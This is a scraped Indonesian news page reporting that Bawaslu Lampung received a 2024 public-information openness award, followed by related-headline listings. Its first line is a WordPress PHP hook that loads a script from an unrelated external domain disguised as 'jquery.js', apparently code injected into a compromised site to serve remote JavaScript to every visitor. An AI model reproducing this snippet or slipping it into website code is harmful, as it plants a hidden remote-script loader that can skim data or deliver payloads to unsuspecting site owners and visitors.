add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Bawaslu Lampung Raih Kembali Penghargaan Badan Publik Informatif Tahun 2024 - Atmosfirnews.id

Bawaslu Lampung Raih Kembali Penghargaan Badan Publik Informatif Tahun 2024

- Jurnalis

Jumat, 6 Desember 2024 - 12:31 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Dok. Bawaslu Provinsi Lampung

Dok. Bawaslu Provinsi Lampung

Atmosfirnews.id — Bawaslu Lampung raih kembali penghargaan Keterbukaan Informasi Publik Tahun 2024 dari Komisi Informasi Provinsi Lampung sebagai Badan Publik Informatif untuk Kategori Instansi Vertikal dengan nilai 100 yang dilaksanakan Di Bandar Lampung, Rabu (04/12).

Kegiatan tersebut diikuti oleh Badan Publik di Lampung baik dari Instansi Vertikal maupun Horizontal antara lain Pemerintah Provinsi maupun Kabupaten/Kota, Bawaslu Provinsi serta Badan Publik lainnya. Penyerahan penghargaan Keterbukaan Informasi Publik diserahkan secara langsung oleh Pj. Sekretaris Daerah Provinsi Lampung Fredy SM.

Ketua Komisi Informasi Provinsi Lampung, Erizal menyampaikan Kegiatan ini dapat memberikan kontribusi serta dorongan masyarakat luas dalam rangka untuk memastikan kemudahan akses informasi serta meningkatkan partisipatif masyarakat, mewujudkan negara yang terbuka, dan mengoptimlakan pengawasan publik.

Baca Juga :  Tim Dinas PU Kota Bandar Lampung Gerak Cepat Atasi Robohnya Tembok Perumahan 30 Meter

Pj. Sekretaris Daerah Provinsi Lampung Fredy SM, juga menekankan pentingnya transparansi informasi di era digitalisasi. “Setiap badan publik memiliki kewajiban untuk mengelola dan mendistribusikan informasi di bawah kewenangannya secara optimal. Pengelolaan informasi publik menjadi kunci dalam memberikan pelayanan terbaik kepada masyarakat,” tuturnya.

Koordinator Divisi Humas dan Datin Bawaslu Lampung Ahmad Qohar, mengatakan Pencapaian ini merupakan hasil kerja keras dan kerja cerdas dari Tim Work Bawaslu Lampung yang selalu mengedepankan Keterbukaan dan kemudahan masyarakat dalam mengakses informasi.

“Alhamdulillah, Bawaslu Provinsi Lampung kembali dapat penghargaan sebagai lembaga yg informatif, ini menunjukkan bahwa Bawaslu Provinsi Lampung konsisten menjadi lembaga yang informatif dan transparan. Kami terus memberikan informasi yang dibutuhkan masyarakat, khususnya terkait kepemiluan dan pengawasan pemilu,” Ungkap Qohar.

Baca Juga :  Gruduk Kejati Lampung, ALMAS Desak Kejagung Usut Dugaan Keterlibatan Jampidsus Febrie Adriansyah dalam Kasus Korupsi Batu Bara PLTU

Sementara itu Ketua Bawaslu Lampung Iskardo P. Panggar menambahkan bahwa penghargaan ini diraih melalui proses panjang yang melibatkan berbagai inovasi dari Tim Pejabat Pengelola Informasi dan Dokumentasi (PPID) Bawaslu Lampung.

“Kami menyediakan berbagai informasi publik yang dapat diakses secara online maupun offline. Daftar informasi publik kami selalu diperbarui untuk memastikan masyarakat mendapatkan data yang relevan dan akurat,” jelas Iskardo.

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 24 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru